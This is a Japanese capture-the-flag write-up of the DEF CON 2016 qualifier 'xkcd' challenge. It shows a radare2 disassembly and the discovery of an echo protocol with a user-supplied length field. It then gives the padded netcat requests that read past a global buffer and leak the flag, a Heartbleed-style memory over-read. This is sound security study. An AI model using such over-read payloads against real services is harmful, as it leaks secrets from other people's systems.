#defcon2016

xkcd

xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me:1354 Might want to read that comic as well... 1354

とりあえずいつもの。

$~/defcon2016/xkcd# file xkcd xkcd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped $~/defcon2016/xkcd# checksec.sh --file xkcd RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH xkcd

PIEが無いのは助かるなぁ。 NXがあるってことは、シェルコード系の可能性は低いかな。まぁ、実行してみるか。

$~/defcon2016/xkcd# ./xkcd Could not open the flag. $~/defcon2016/xkcd# echo foobar > flag $~/defcon2016/xkcd# ./xkcd foobar MALFORMED REQUEST

ファイルが開けないとな。適当にflagとかいうファイルを作ってみるとうまいこといった。でも、プロトコルが適切でないため、リジェクトされたっぽいな。じゃ、ディスアセンブリしたりしながら、それを探すか。今回は「radare2」を利用してみよう。

$~/defcon2016/xkcd# r2 ./xkcd [0x00400e3e]> aa [0x00400e3e]> pdf@main / (fcn) fcn.00400f5e 537 ... | 0x00400fb9 bee47d4800 mov esi, 0x487de4 | 0x00400fbe bfe67d4800 mov edi, str.flag | 0x00400fc3 e8b86d0000 call sym.fopen64 | sym.fopen64() ; sym._IO_fopen64 | 0x00400fc8 488945e8 mov [rbp-0x18], rax | 0x00400fcc 48837de800 cmp qword [rbp-0x18], 0x0 | ,=< 0x00400fd1 7514 jnz 0x400fe7 | | 0x00400fd3 bfeb7d4800 mov edi, 0x487deb | | 0x00400fd8 e883720000 call sym._IO_puts | | sym._IO_puts() ; sym.puts | | 0x00400fdd b8ffffffff mov eax, 0xffffffff | ,==< 0x00400fe2 e990010000 jmp fcn.00401177 | |`-> 0x00400fe7 488b45e8 mov rax, [rbp-0x18] | | 0x00400feb 4889c1 mov rcx, rax | | 0x00400fee ba00010000 mov edx, 0x100 | | 0x00400ff3 be01000000 mov esi, 0x1 | | 0x00400ff8 bf40756b00 mov edi, 0x6b7540 | | 0x00400ffd e88e6d0000 call sym.fread | | sym.fread() ; sym._IO_fread ... [0x00400e3e]> [email protected] flag [0x00400e3e]> ps @0x487deb Could not open the flag.

「0x00400fbe、0x00400fc3」あたりでファイル「flag」を開き、「0x6b7540」に読み込んでいるようだ。ということはうまいことそのメモリを読み込む感じになりそうかな。引き続き、例のプロトコルが何かを調べよう。

[0x00400e3e]> pdf@main~strtok | | fcn.004196a0() ; sym.strtok | | fcn.004196a0() ; sym.strtok | | fcn.004196a0() ; sym.strtok | | fcn.004196a0() ; sym.strtok | | fcn.004196a0() ; sym.strtok

この部分を見る限り、特定の区切り文字で区切ってそうだなーってことがわかるので、ちょっとずつデバッガを使いながら調べることにした。strtokのあたりにブレークポイントをつけつつデバッグすると、プロトコルが次の通りであることがわかった。

SERVER, ARE YOU STILL THERE? IF SO, REPLY "表示する文字" ([文字数] LETTERS)

実際にこのプロトコルで何かを送ってみるとこうなる。

$~/defcon2016/xkcd# ./xkcd SERVER, ARE YOU STILL THERE? IF SO, REPLY "foobar" (6 LETTERS) foobar ... $~/defcon2016/xkcd# ./xkcd SERVER, ARE YOU STILL THERE? IF SO, REPLY "foobar" (10 LETTERS) NICE TRY

適切なプロトコルに則って「表示する文字」を与えてやると、それを返してくるようだ。さらに、「文字数」が「表示する文字」よりも多いとき、「NICE TRY」と表示されることもわかった。この辺をディスアセンブルして、よく見てみるとしよう。

| | 0x004010db bf40736b00 mov edi, sym.globals | | 0x004010e0 e8fbeb0100 call fcn.0041fce0 | | fcn.0041fce0() ; sym.memcpy ... [0x00400e3e]> is~globals addr=0x006b7340 off=0x002b7340 ord=1807 fwd=NONE sz=768 bind=GLOBAL type=OBJECT name=globals ... | | 0x00401145 bf40736b00 mov edi, sym.globals | | 0x0040114a e831610100 call sym.strlen | | sym.strlen() | | 0x0040114f 4839c3 cmp rbx, rax | ,=====< 0x00401152 7614 jbe 0x401168 | | | 0x00401154 bf547e4800 mov edi, str.NICETRY | | | 0x00401159 e802710000 call sym._IO_puts | | | sym._IO_puts() ; sym.puts | | | 0x0040115e bfffffffff mov edi, 0xffffffff | | | 0x00401163 e8d85a0000 call sym.exit | | | sym.exit() | `-----> 0x00401168 bf40736b00 mov edi, sym.globals | | 0x0040116d e8ee700000 call sym._IO_puts | | sym._IO_puts() ; sym.puts

まず「表示する文字」の扱いに注目すると、それを「sym.globals」すなわち「0x6b7340」に「memcpy」で格納していることがわかる（なんか引数切れちゃってるけど）。そこに対する「strlen」の戻り値 と例のプロトコルで指定した「文字数」を比較して「表示する文字」を表示してくれるようだ。 んん？ たしか、先ほどflagを読み込んだメモリの位置が「0x6b7540」だったはずだ。今操作できるメモリの位置は「0x6b7340」なので、その差512バイトを埋めてやれば一見長い文字列のようにならないだろか。memcpy使ってるし。で、512よりも多い数を「文字数」として与えればflagが得られるんじゃないか。

$:~/defcon2016/xkcd# nc xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me 1354 SERVER, ARE YOU STILL THERE? IF SO, REPLY "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" (515 LETTERS) aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaThe

おし、狙ったものが出てきたぞ。あとは長さを調整してやれば良さげだ。

$~/defcon2016/xkcd# nc xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me 1354 SERVER, ARE YOU STILL THERE? IF SO, REPLY "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" (542 LETTERS) NICE TRY $~/defcon2016/xkcd# nc xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me 1354 SERVER, ARE YOU STILL THERE? IF SO, REPLY "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" (541 LETTERS) aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaThe flag is: bl33ding h34rt5